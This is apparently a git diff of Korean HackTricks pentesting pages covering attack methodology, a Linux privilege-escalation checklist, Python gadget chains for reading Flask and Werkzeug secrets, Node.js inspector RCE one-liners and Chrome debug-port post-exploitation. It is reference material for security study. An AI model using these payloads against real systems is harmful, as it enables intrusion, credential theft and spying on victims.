**자동 취약점 평가**를 수행할 수 있는 여러 도구도 있습니다. **[**Legion**](https://github.com/carlospolop/legion)**을 시도해 보기를 권장합니다. 이 도구는 제가 만든 도구로, 이 책에서 찾을 수 있는 서비스에 대한 펜테스트 노트를 기반으로 합니다.**
#### **5.2 서비스 브루트 포스**
#### **5.2- 서비스 브루트 포스**
일부 시나리오에서는 **브루트 포스**가 **서비스를 타협하는 데 유용할 수 있습니다**. [**여기에서 다양한 서비스의 브루트 포스 치트 시트를 찾으세요**](../generic-hacking/brute-force.md)**.**
### 6- [피싱](phishing-methodology/)
### 6- [피싱](phishing-methodology/index.html)
이 시점에서 흥미로운 취약점을 찾지 못했다면, **네트워크에 들어가기 위해 피싱을 시도해야 할 수도 있습니다**. 제 피싱 방법론을 [여기](phishing-methodology/)에서 읽어보세요:
이 시점에서 흥미로운 취약점을 찾지 못했다면, **네트워크에 침투하기 위해 피싱을 시도해야 할 수도 있습니다**. 제 피싱 방법론을 [여기](phishing-methodology/index.html)에서 읽어보세요:
### **7-** [**쉘 얻기**](../generic-hacking/reverse-shells/)
### **7-** [**쉘 얻기**](../generic-hacking/reverse-shells/index.html)
어떻게든 **희생자에서 코드를 실행할 방법을 찾았어야 합니다**. 그런 다음, [역쉘을 얻기 위해 시스템 내에서 사용할 수 있는 가능한 도구 목록이 매우 유용할 것입니다](../generic-hacking/reverse-shells/).
어떻게든 **희생자에서 코드를 실행할 수 있는 방법을 찾아야 합니다**. 그런 다음, [시스템 내에서 리버스 쉘을 얻기 위해 사용할 수 있는 가능한 도구 목록이 매우 유용할 것입니다](../generic-hacking/reverse-shells/index.html).
특히 Windows에서는 **안티바이러스를 피하는 데 도움이 필요할 수 있습니다**: [**이 페이지를 확인하세요**](../windows-hardening/av-bypass.md)**.**\\
### 8- 내부
쉘에 문제가 있는 경우, 펜테스터를 위한 가장 유용한 명령어의 작은 **모음**을 여기에서 찾을 수 있습니다:
쉘에 문제가 있는 경우, 펜테스터를 위한 가장 유용한 명령어의 작은 **모음**을 여기에서 찾을 수 있습니다:
- [**리눅스**](../linux-hardening/useful-linux-commands.md)
- [**윈도우 (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
- [**윈도우 (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
- [**윈도우 (PS)**](../windows-hardening/basic-powershell-for-pentesters/index.html)
### **9 -** [**탈출**](../generic-hacking/exfiltration.md)
@ -78,26 +78,26 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
#### **10.1- 로컬 권한 상승**
박스 내에서 **루트/관리자**가 아니라면, **권한을 상승시킬 방법을 찾아야 합니다**.\
여기에서 [**리눅스**](../linux-hardening/privilege-escalation/) **및** [**윈도우**](../windows-hardening/windows-local-privilege-escalation/) **에서 로컬 권한을 상승시키는 가이드를 찾을 수 있습니다.**\
또한 **Windows가 어떻게 작동하는지**에 대한 이 페이지를 확인하세요:
박스 내에서 **root/Administrator가 아닌 경우**, **권한을 상승시키는 방법을 찾아야 합니다**.\
여기에서 [**리눅스**](../linux-hardening/privilege-escalation/index.html) **및** [**윈도우**](../windows-hardening/windows-local-privilege-escalation/index.html) **에서 로컬 권한을 상승시키는 가이드를 찾을 수 있습니다.**\
또한 **Windows가 어떻게 작동하는지**에 대한 이 페이지를 확인해야 합니다:
- [**인증, 자격 증명, 토큰 권한 및 UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
- [**NTLM 작동 방식**](../windows-hardening/ntlm/)
- Windows에서 [**자격 증명 훔치기**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)
- [_**Active Directory**_에 대한 몇 가지 요령](../windows-hardening/active-directory-methodology/)
- [**인증, 자격 증명, 토큰 권한 및 UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html)
- [**NTLM 작동 방식**](../windows-hardening/ntlm/index.html)
- Windows에서 [**자격 증명을 훔치는 방법**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)
- [_**Active Directory**_](../windows-hardening/active-directory-methodology/index.html)에 대한 몇 가지 요령
**Windows 및 Linux 로컬 권한 상승 경로를 열거하는 최고의 도구를 확인하는 것을 잊지 마세요:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- 도메인 권한 상승**
여기에서 [**Active Directory에서 권한을 열거하고 상승시키고 지속하는 가장 일반적인 작업을 설명하는 방법론**](../windows-hardening/active-directory-methodology/)을 찾을 수 있습니다. 이것은 섹션의 하위 섹션일 뿐이지만, 이 과정은 **펜테스팅/레드 팀 과제에서 매우 섬세할 수 있습니다**.
여기에서 [**Active Directory에서 권한을 열거하고 상승시키고 지속하는 가장 일반적인 작업을 설명하는 방법론**](../windows-hardening/active-directory-methodology/index.html)을 찾을 수 있습니다. 이것은 섹션의 하위 섹션일 뿐이지만, 이 과정은 **펜테스팅/레드 팀 과제에서 매우 섬세할 수 있습니다**.
### 11 - POST
#### **11**.1 - 약탈
호스트 내에서 더 많은 **비밀번호**를 찾거나 **사용자의 권한**으로 **다른 기계에 접근할 수 있는지 확인하세요**.\
호스트 내에서 더 많은 **비밀번호**를 찾거나 **사용자의 권한**으로 **다른 기계에 접근할 수 있는지** 확인하세요.\
여기에서 [**Windows에서 비밀번호를 덤프하는 다양한 방법**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)을 찾을 수 있습니다.
#### 11.2 - 지속성
@ -105,26 +105,26 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
**시스템을 다시 공격할 필요가 없도록 2~3가지 다른 유형의 지속성 메커니즘을 사용하세요.**\
**여기에서** [**Active Directory의 지속성 요령**](../windows-hardening/active-directory-methodology/index.html#persistence)**을 찾을 수 있습니다.**
TODO: Windows 및 Linux의 지속성 게시물 완
TODO: Windows 및 Linux의 지속성 게시물 완
### 12 - 피벗팅
**수집 자격 증명**으로 다른 기계에 접근할 수 있거나, **새로운 호스트를 발견하고 스캔해야 할 수도 있습니다** (희생자가 연결된 새로운 네트워크 내에서 펜테스팅 방법론을 다시 시작하세요).\
**수집 자격 증명**으로 다른 기계에 접근할 수 있거나, **새로운 호스트를 발견하고 스캔해야 할 수도 있습니다** (펜테스팅 방법론을 다시 시작하세요) 새로운 네트워크 내에서 희생자가 연결되어 있는 경우.\
이 경우 터널링이 필요할 수 있습니다. [**터널링에 대한 게시물**](../generic-hacking/tunneling-and-port-forwarding.md)을 여기에서 찾을 수 있습니다.\
또한 [Active Directory 펜테스팅 방법론](../windows-hardening/active-directory-methodology/)에 대한 게시물을 확인해야 합니다. 거기에서 수평 이동, 권한 상승 및 자격 증명 덤프를 위한 멋진 요령을 찾을 수 있습니다.\
[**NTLM**](../windows-hardening/ntlm/)에 대한 페이지도 확인하세요. Windows 환경에서 피벗하는 데 매우 유용할 수 있습니다.
또한 [Active Directory 펜테스팅 방법론](../windows-hardening/active-directory-methodology/index.html)에 대한 게시물을 확인해야 합니다. 거기에서 수평 이동, 권한 상승 및 자격 증명 덤프를 위한 멋진 요령을 찾을 수 있습니다.\
[**NTLM**](../windows-hardening/ntlm/index.html)에 대한 페이지도 확인하세요. Windows 환경에서 피벗하는 데 매우 유용할 수 있습니다.
### MORE
#### [안드로이드 애플리케이션](../mobile-pentesting/android-app-pentesting/)
#### [안드로이드 애플리케이션](../mobile-pentesting/android-app-pentesting/index.html)
#### **익스플로잇**
- [**기본 리눅스 익스플로잇**](broken-reference/)
- [**기본 리눅스 익스플로잇**](broken-reference/index.html)
- [**기본 윈도우 익스플로잇**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [**기본 익스플로잇 도구**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
- [**기본 익스플로잇 도구**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/index.html)
#### [**기본 파이썬**](python/)
#### [**기본 파이썬**](python/index.html)
#### **암호 요령**

View File

@ -6,7 +6,7 @@
- [**Pyscript 해킹 기법**](pyscript.md)
- [**Python 역직렬화**](../../pentesting-web/deserialization/index.html#python)
- [**Python 샌드박스를 우회하는 기법**](bypass-python-sandboxes/)
- [**Python 샌드박스를 우회하는 기법**](bypass-python-sandboxes/index.html)
- [**기본 Python 웹 요청 구문**](web-requests.md)
- [**기본 Python 구문 및 라이브러리**](basic-python.md)

View File

@ -2,20 +2,20 @@
{{#include ../../banners/hacktricks-training.md}}
## 기본 정보
## Basic Information
[**Python Format Strings**](bypass-python-sandboxes/index.html#python-format-string) 또는 [**Class Pollution**](class-pollution-pythons-prototype-pollution.md)와 같은 다양한 취약점은 **파이썬 내부 데이터를 읽을 수 있지만 코드를 실행할 수는 없습니다**. 따라서, 펜테스터는 이러한 읽기 권한을 최대한 활용하여 **민감한 권한을 얻고 취약점을 상승시켜야 합니다**.
다양한 취약점, 예를 들어 [**Python Format Strings**](bypass-python-sandboxes/index.html#python-format-string) 또는 [**Class Pollution**](class-pollution-pythons-prototype-pollution.md) **파이썬 내부 데이터를 읽을 수 있지만 코드를 실행할 수는 없습니다**. 따라서, 펜테스터는 이러한 읽기 권한을 최대한 활용하여 **민감한 권한을 얻고 취약점을 상승시켜야 합니다**.
### Flask - 비밀 키 읽기
### Flask - Read secret key
Flask 애플리케이션의 메인 페이지에는 아마도 이 **비밀이 구성된** **`app`** 전역 객체가 있을 것입니다.
```python
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
```
이 경우, [**Python 샌드박스 우회 페이지**](bypass-python-sandboxes/)에서 **전역 객체에 접근하기 위** 어떤 가젯을 사용하여 이 객체에 접근할 수 있습니다.
이 경우, [**Python 샌드박스 우회 페이지**](bypass-python-sandboxes/index.html)에서 **전역 객체에 접근하기 위** 어떤 가젯을 사용하여 이 객체에 접근할 수 있습니다.
**취약점이 다른 파이썬 파일에 있는 경우**, 전역 객체 `app.secret_key`에 접근하기 위해 파일을 탐색할 수 있는 가젯이 필요하며, 이를 통해 Flask 비밀 키를 변경하고 이 키를 알고 [**권한 상승**을 할 수 있습니다](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
**취약점이 다른 파이썬 파일에 있는 경우**, 전역 객체 `app.secret_key`에 접근하기 위해 메인 파일로 이동할 수 있는 가젯이 필요하며, 이를 통해 Flask 비밀 키를 변경하고 이 키를 알고 [**권한 상승**을 할 수 있습니다](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
이와 같은 페이로드는 [이 작성물에서](https://ctftime.org/writeup/36082):
```python
@ -25,13 +25,13 @@ __init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.se
### Werkzeug - machine_id 및 node uuid
[**이 작성물에서 제공된 페이로드를 사용하여**](https://vozec.fr/writeups/tweedle-dum-dee/) **machine_id****uuid** 노드에 접근할 수 있으며, 이는 [**Werkzeug 핀을 생성하는 데 필요한 주요 비밀**](../../network-services-pentesting/pentesting-web/werkzeug.md)입니다. **디버그 모드가 활성화된 경우** `/console`에서 파이썬 콘솔에 접근하는 데 사용할 수 있습니다.
[**이 페이로드를 사용하여**](https://vozec.fr/writeups/tweedle-dum-dee/) **machine_id****uuid** 노드에 접근할 수 있으며, 이는 [**Werkzeug 핀을 생성하는 데 필요한**](../../network-services-pentesting/pentesting-web/werkzeug.md) **주요 비밀**입니다. **디버그 모드가 활성화된 경우** `/console`에서 파이썬 콘솔에 접근하는 데 사용할 수 있습니다.
```python
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id}
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node}
```
> [!WARNING]
> **app.py**의 **서버 로컬 경로**를 얻으려면 웹 페이지에서 **오류**를 생성해야 하며, 이는 **경로****제공합니다**.
> **app.py**의 **서버 로컬 경로**를 얻으려면 웹 페이지에서 **오류**를 생성해야 하며, 이는 **경로를 제공합니다**.
취약점이 다른 파이썬 파일에 있는 경우, 메인 파이썬 파일에서 객체에 접근하기 위한 이전 Flask 트릭을 확인하세요.

View File

@ -28,7 +28,7 @@
### [프로세스](privilege-escalation/index.html#processes)
- [ ] **알 수 없는 소프트웨어가 실행되고 있나요?**
- [ ] **알 수 없는 소프트웨어가 실행되고** 있나요?
- [ ] **더 많은 권한을 가진** 소프트웨어가 실행되고 있나요?
- [ ] **실행 중인 프로세스의 익스플로잇** 검색 (특히 실행 중인 버전).
- [ ] 실행 중인 프로세스의 **바이너리를 수정**할 수 있나요?
@ -39,8 +39,8 @@
- [ ] [**PATH**](privilege-escalation/index.html#cron-path)가 크론에 의해 수정되고 있으며, 그 안에 **쓰기**가 가능한가요?
- [ ] 크론 작업에 [**와일드카드**](privilege-escalation/index.html#cron-using-a-script-with-a-wildcard-wildcard-injection)가 있나요?
- [ ] **수정 가능한 스크립트**가 **실행**되거나 **수정 가능한 폴더** 안에 있나요?
- [ ] 어떤 **스크립트**가 [**매우 자주 실행되고 있는지**](privilege-escalation/index.html#frequent-cron-jobs) 감지했나요? (매 1, 2 또는 5분마다)
- [ ] **수정 가능한 스크립트**가 **실행되고** 있거나 **수정 가능한 폴더** 안에 있나요?
- [ ] 어떤 **스크립트**가 [**매우 자주 실행되고**](privilege-escalation/index.html#frequent-cron-jobs) 있는지 감지했나요? (매 1, 2 또는 5분마다)
### [서비스](privilege-escalation/index.html#services)
@ -55,12 +55,12 @@
### [소켓](privilege-escalation/index.html#sockets)
- [ ] **쓰기 가능한 .socket** 파일이 있나요?
- [ ] **어떤 소켓과 통신**할 수 있나요?
- [ ] **어떤 소켓과 통신할 수** 있나요?
- [ ] 흥미로운 정보가 있는 **HTTP 소켓**이 있나요?
### [D-Bus](privilege-escalation/index.html#d-bus)
- [ ] **어떤 D-Bus와 통신**할 수 있나요?
- [ ] **어떤 D-Bus와 통신할 수** 있나요?
### [네트워크](privilege-escalation/index.html#network)
@ -72,10 +72,10 @@
- [ ] 일반 사용자/그룹 **열거**
- [ ] **매우 큰 UID**가 있나요? **기계**가 **취약한가요**?
- [ ] 당신이 속한 [**그룹 덕분에 권한을 상승시킬 수**](privilege-escalation/interesting-groups-linux-pe/) 있나요?
- [ ] 당신이 속한 [**그룹 덕분에 권한을 상승시킬 수**](privilege-escalation/interesting-groups-linux-pe/index.html) 있나요?
- [ ] **클립보드** 데이터?
- [ ] 비밀번호 정책?
- [ ] 이전에 발견한 **모든 알려진 비밀번호**를 사용하여 **각 사용자**로 로그인 시도. 비밀번호 없이도 로그인 시도.
- [ ] 이전에 발견한 **모든 알려진 비밀번호**를 사용하여 **각 가능한 사용자**로 로그인 시도하세요. 비밀번호 없이도 로그인 시도하세요.
### [쓰기 가능한 PATH](privilege-escalation/index.html#writable-path-abuses)
@ -89,17 +89,17 @@
- [ ] [**경로가 표시되지 않은 Sudo/SUID 바이너리**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path)?
- [ ] [**경로를 지정한 SUID 바이너리**](privilege-escalation/index.html#suid-binary-with-command-path)? 우회
- [ ] [**LD_PRELOAD 취약점**](privilege-escalation/index.html#ld_preload)
- [ ] [**SUID 바이너리에 .so 라이브러리 부족**](privilege-escalation/index.html#suid-binary-so-injection) 쓰기 가능한 폴더에서?
- [ ] [**SUDO 토큰 사용 가능**](privilege-escalation/index.html#reusing-sudo-tokens)? [**SUDO 토큰을 생성할 수 있나요**](privilege-escalation/index.html#var-run-sudo-ts-less-than-username-greater-than)?
- [ ] [**sudoers 파일을 읽거나 수정할 수 있나요**](privilege-escalation/index.html#etc-sudoers-etc-sudoers-d)?
- [ ] [**/etc/ld.so.conf.d/**를 수정할 수 있나요](privilege-escalation/index.html#etc-ld-so-conf-d)?
- [ ] **쓰기 가능한 폴더에서** [**SUID 바이너리에 .so 라이브러리 부족**](privilege-escalation/index.html#suid-binary-so-injection)?
- [ ] [**SUDO 토큰 사용 가능**](privilege-escalation/index.html#reusing-sudo-tokens)? [**SUDO 토큰을 생성할 수**](privilege-escalation/index.html#var-run-sudo-ts-less-than-username-greater-than) 있나요?
- [ ] [**sudoers 파일을 읽거나 수정할 수**](privilege-escalation/index.html#etc-sudoers-etc-sudoers-d) 있나요?
- [ ] [**/etc/ld.so.conf.d/**를 수정할 수**](privilege-escalation/index.html#etc-ld-so-conf-d) 있나요?
- [ ] [**OpenBSD DOAS**](privilege-escalation/index.html#doas) 명령
### [능력](privilege-escalation/index.html#capabilities)
- [ ] 어떤 바이너리에 **예상치 못한 능력**이 있나요?
### [ACL](privilege-escalation/index.html#acls)
### [ACLs](privilege-escalation/index.html#acls)
- [ ] 어떤 파일에 **예상치 못한 ACL**이 있나요?
@ -115,10 +115,10 @@
### [흥미로운 파일](privilege-escalation/index.html#interesting-files)
- [ ] **프로파일 파일** - 민감한 데이터 읽기? privesc에 쓰기?
- [ ] **passwd/shadow 파일** - 민감한 데이터 읽기? privesc에 쓰기?
- [ ] **프로파일 파일** - 민감한 데이터 읽기? 권한 상승을 위한 쓰기?
- [ ] **passwd/shadow 파일** - 민감한 데이터 읽기? 권한 상승을 위한 쓰기?
- [ ] 민감한 데이터를 위해 **일반적으로 흥미로운 폴더** 확인
- [ ] **이상한 위치/소유 파일,** 접근하거나 실행 파일을 변경할 수 있습니다
- [ ] **이상한 위치/소유 파일,** 접근하거나 실행 파일을 변경할 수 있는 파일
- [ ] **최근 몇 분 내에 수정됨**
- [ ] **Sqlite DB 파일**
- [ ] **숨겨진 파일**
@ -131,13 +131,13 @@
### [**쓰기 가능한 파일**](privilege-escalation/index.html#writable-files)
- [ ] **임의의 명령을 실행하기 위해 파이썬 라이브러리 수정**?
- [ ] **로그 파일을 수정할 수 있나요**? **Logtotten** 익스플로잇
- [ ] **로그 파일을 수정할 수** 있나요? **Logtotten** 익스플로잇
- [ ] **/etc/sysconfig/network-scripts/**를 수정할 수 있나요? Centos/Redhat 익스플로잇
- [ ] [**ini, int.d, systemd 또는 rc.d 파일에 쓸 수 있나요**](privilege-escalation/index.html#init-init-d-systemd-and-rc-d)?
- [ ] [**ini, int.d, systemd 또는 rc.d 파일에 쓸 수**](privilege-escalation/index.html#init-init-d-systemd-and-rc-d) 있나요?
### [**기타 트릭**](privilege-escalation/index.html#other-tricks)
- [ ] [**NFS를 악용하여 권한을 상승시킬 수 있나요**](privilege-escalation/index.html#nfs-privilege-escalation)?
- [ ] [**제한된 셸에서 탈출해야 하나요**](privilege-escalation/index.html#escaping-from-restricted-shells)?
- [ ] [**NFS를 악용하여 권한을 상승시킬 수**](privilege-escalation/index.html#nfs-privilege-escalation) 있나요?
- [ ] [**제한된 셸에서 탈출할 필요가 있나요**](privilege-escalation/index.html#escaping-from-restricted-shells)?
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Basic Information
[From the docs](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): `--inspect` 스위치로 시작하면, Node.js 프로세스는 디버깅 클라이언트를 기다립니다. **기본적으로**, 호스트와 포트 **`127.0.0.1:9229`**에서 대기합니다. 각 프로세스는 또한 **고유한** **UUID**가 할당됩니다.
[From the docs](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): `--inspect` 스위치로 시작하면, Node.js 프로세스는 디버깅 클라이언트를 위해 대기합니다. **기본적으로**, 호스트와 포트 **`127.0.0.1:9229`**에서 대기합니다. 각 프로세스는 또한 **고유한** **UUID**가 할당됩니다.
인스펙터 클라이언트는 연결하기 위해 호스트 주소, 포트 및 UUID를 알고 지정해야 합니다. 전체 URL은 `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`와 비슷하게 보일 것입니다.
@ -27,18 +27,18 @@ node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
For help, see: https://nodejs.org/en/docs/inspector
```
**CEF** (**Chromium Embedded Framework**)를 기반으로 한 프로세스는 **debugger**를 열기 위해 `--remote-debugging-port=9222` 매개변수를 사용해야 합니다(SSRF 보호는 매우 유사하게 유지됩니다). 그러나 **NodeJS** **debug** 세션을 부여하는 대신 [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/)을 사용하여 브라우저와 통신합니다. 이는 브라우저를 제어하기 위한 인터페이스이지만, 직접적인 RCE는 없습니다.
프로세스는 **CEF** (**Chromium Embedded Framework**)를 기반으로 하며, **디버거**를 열기 위해 `--remote-debugging-port=9222` 매개변수를 사용해야 합니다 (SSRF 보호는 매우 유사하게 유지됩니다). 그러나 **NodeJS** **디버그** 세션을 부여하는 대신 [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/)을 사용하여 브라우저와 통신합니다. 이는 브라우저를 제어하기 위한 인터페이스이지만, 직접적인 RCE는 없습니다.
디버그된 브라우저를 시작하면 다음과 같은 내용이 나타납니다:
```
DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369
```
### 브라우저, WebSocket 및 동일 출처 정책 <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
### 브라우저, 웹소켓 및 동일 출처 정책 <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
웹 브라우저에서 열리는 웹사이트는 브라우저 보안 모델에 따라 WebSocket 및 HTTP 요청을 할 수 있습니다. **고유한 디버거 세션 ID를 얻기 위해** **초기 HTTP 연결**이 필요합니다. **동일 출처 정책**은 웹사이트가 **이 HTTP 연결**을 만들 수 없도록 **방지**합니다. [**DNS 리바인딩 공격**](https://en.wikipedia.org/wiki/DNS_rebinding)**에 대한 추가 보안을 위해** Node.js는 연결의 **'Host' 헤더**가 **IP 주소** 또는 **`localhost`** 또는 **`localhost6`**를 정확히 지정하는지 확인합니다.
웹 브라우저에서 열리는 웹사이트는 브라우저 보안 모델에 따라 웹소켓 및 HTTP 요청을 할 수 있습니다. **고유한 디버거 세션 ID를 얻기 위해** **초기 HTTP 연결**이 필요합니다. **동일 출처 정책**은 웹사이트가 **이 HTTP 연결**을 만들 수 없도록 **방지**합니다. [**DNS 리바인딩 공격**](https://en.wikipedia.org/wiki/DNS_rebinding)**에 대한 추가 보안을 위해,** Node.js는 연결에 대한 **'Host' 헤더**가 **IP 주소** 또는 **`localhost`** 또는 **`localhost6`**를 정확히 지정하는지 확인합니다.
> [!NOTE]
> 이 **보안 조치는 HTTP 요청을 보내기만 해도** 코드를 실행하기 위해 **인스펙터를 악용하는 것을 방지**합니다(이는 SSRF 취약점을 악용하여 수행할 수 있습니다).
> 이 **보안 조치는 HTTP 요청을 보내기만 해도** 코드를 실행하기 위해 인스펙터를 악용하는 것을 **방지합니다** (이는 SSRF 취약점을 악용하여 수행할 수 있습니다).
### 실행 중인 프로세스에서 인스펙터 시작하기
@ -48,7 +48,7 @@ kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
```
> [!NOTE]
> 이 방법은 컨테이너에서 유용합니다. 왜냐하면 **프로세스를 종료하고 새로운 프로세스를 시작하는 것**은 `--inspect`와 함께 **옵션이 아니기** 때문입니다. **컨테이너**는 프로세스와 함께 **종료**됩니다.
> 이 방법은 컨테이너에서 유용합니다. 왜냐하면 `--inspect`**프로세스를 종료하고 새로 시작하는 것**은 **옵션이 아니기** 때문입니다. **컨테이너**는 프로세스와 함께 **종료**됩니다.
### 검사기/디버거에 연결
@ -78,9 +78,9 @@ debug> exec("process.mainModule.require('child_process').exec('/Applications/iTe
## NodeJS 디버거/인스펙터에서의 RCE
> [!NOTE]
> [**Electron에서 XSS로 RCE를 얻는 방법을 찾고 있다면 이 페이지를 확인하세요.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
> [**Electron에서 XSS로 RCE를 얻는 방법을 찾고 있다면 이 페이지를 확인하세요.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/index.html)
Node **인스펙터**에 **연결**할 수 있을 때 **RCE**를 얻는 일반적인 방법 중 일부는 다음과 같은 것을 사용하는 것입니다(이 **Chrome DevTools 프로토콜에 연결된 경우 작동하지 않을 것 같습니다**):
Node **인스펙터**에 **연결**할 수 있을 때 **RCE**를 얻는 일반적인 방법 중 일부는 다음과 같습니다(이 **Chrome DevTools 프로토콜에 연결할 때는 작동하지 않을 것 같습니다**):
```javascript
process.mainModule.require("child_process").exec("calc")
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
@ -94,9 +94,9 @@ API를 여기에서 확인할 수 있습니다: [https://chromedevtools.github.i
### Deep Links를 통한 매개변수 주입
[**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/)에서 Rhino 보안은 CEF 기반 애플리케이션이 시스템에 **사용자 정의 URI**(workspaces://)를 등록하여 전체 URI를 수신하고, 그 URI에서 부분적으로 구성된 설정으로 **CEF 기반 애플리케이션을 실행**한다는 것을 발견했습니다.
[**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/)에서 Rhino 보안은 CEF 기반 애플리케이션이 시스템에 **사용자 정의 URI**(workspaces://index.html)를 등록하여 전체 URI를 수신하고, 그 URI에서 부분적으로 구성된 설정으로 **CEF 기반 애플리케이션**을 실행한다는 것을 발견했습니다.
URI 매개변수가 URL 디코딩되어 CEF 기본 애플리케이션을 실행하는 데 사용되었으며, 사용자가 **명령줄**에 플래그 **`--gpu-launcher`**를 **주입**하고 임의의 작업을 실행할 수 있게 되었습니다.
URI 매개변수가 URL 디코딩되어 CEF 기본 애플리케이션을 실행하는 데 사용되었으며, 사용자가 **명령줄**에 **`--gpu-launcher`** 플래그를 **주입**하고 임의의 작업을 실행할 수 있게 되었습니다.
따라서, 다음과 같은 페이로드:
```
@ -122,11 +122,11 @@ downloadPath: "/code/",
```
### Webdriver RCE 및 유출
이 게시물에 따르면: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) RCE를 얻고 theriver의 내부 페이지를 유출하는 것이 가능합니다.
이 게시물에 따르면: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) RCE를 얻고 내부 페이지를 유출하는 것이 가능합니다.
### 사후 활용
실제 환경에서 **사용자 PC를 타겟으로 한 후** Chrome/Chromium 기반 브라우저를 사용하는 경우, **디버깅이 활성화된 Chrome 프로세스를 실행하고 디버깅 포트를 포트 포워딩**하여 접근할 수 있습니다. 이렇게 하면 **피해자가 Chrome으로 수행하는 모든 작업을 검사하고 민감한 정보를 훔칠 수 있습니다**.
실제 환경에서 **사용자 PC를 타겟으로 한 후** Chrome/Chromium 기반 브라우저를 사용하는 경우, **디버깅이 활성화된 Chrome 프로세스를 실행하고 디버깅 포트를 포트 포워딩**하여 접근할 수 있습니다. 이렇게 하면 **희생자가 Chrome으로 수행하는 모든 작업을 검사하고 민감한 정보를 훔칠 수 있습니다**.
은밀한 방법은 **모든 Chrome 프로세스를 종료**한 다음 다음과 같은 것을 호출하는 것입니다.
```bash

View File

@ -24,13 +24,13 @@ macos-users.md
macos-applefs.md
{{#endref}}
- k**ernel**의 **구조**
- **커널**의 **구조**
{{#ref}}
mac-os-architecture/
{{#endref}}
- 일반적인 macOS n**etwork 서비스 및 프로토콜**
- 일반적인 macOS n**네트워크 서비스 및 프로토콜**
{{#ref}}
macos-protocols.md
@ -41,7 +41,7 @@ macos-protocols.md
### MacOS MDM
기업에서**macOS** 시스템이 **MDM으로 관리될 가능성이 높습니다**. 따라서 공격자의 관점에서 **그 작동 방식을 아는 것이 흥미롭습니다**:
기업에서 **macOS** 시스템은 **MDM으로 관리될 가능성이 높습니다**. 따라서 공격자의 관점에서 **그 작동 방식을 아는 것이 흥미롭습니다**:
{{#ref}}
../macos-red-teaming/macos-mdm/
@ -67,13 +67,13 @@ macos-security-protections/
이는 다음과 같은 상황에서 발생할 수 있습니다:
- 사용자가 이미 생성한 파일(사용자가 소유)
- 그룹 때문에 사용자가 쓸 수 있는 파일
- 사용자가 그룹 때문에 쓸 수 있는 파일
- 사용자가 파일을 생성할 수 있는 사용자가 소유한 디렉토리 내의 파일
- 루트가 소유한 디렉토리 내의 파일이지만 사용자가 그룹 때문에 쓰기 권한이 있는 경우(사용자가 파일을 생성할 수 있음)
**루트에 의해 사용될 파일을 생성할 수 있는** 것은 사용자가 **그 내용의 이점을 취하거나** 심지어 **심볼릭 링크/하드 링크**를 만들어 다른 위치를 가리키게 할 수 있게 합니다.
**루트에 의해 사용될 파일을 생성할 수 있는** 능력은 사용자가 **그 내용의 이점을 취하거나 심볼릭 링크/하드 링크를 생성하여 다른 위치를 가리키게 할 수 있게 합니다**.
이러한 종류의 취약점에 대해서는 **취약한 `.pkg` 설치 프로그램을 확인하는 것을 잊지 마세요**:
이러한 종류의 취약점에 대해 **취약한 `.pkg` 설치 프로그램을 확인하는 것을 잊지 마세요**:
{{#ref}}
macos-files-folders-and-binaries/macos-installers-abuse.md
@ -93,9 +93,9 @@ macOS에서 **애플리케이션과 바이너리는** 폴더나 설정에 접근
따라서 macOS 머신을 성공적으로 침해하고자 하는 공격자는 **TCC 권한을 상승시켜야 합니다**(또는 필요에 따라 **SIP를 우회해야 합니다**).
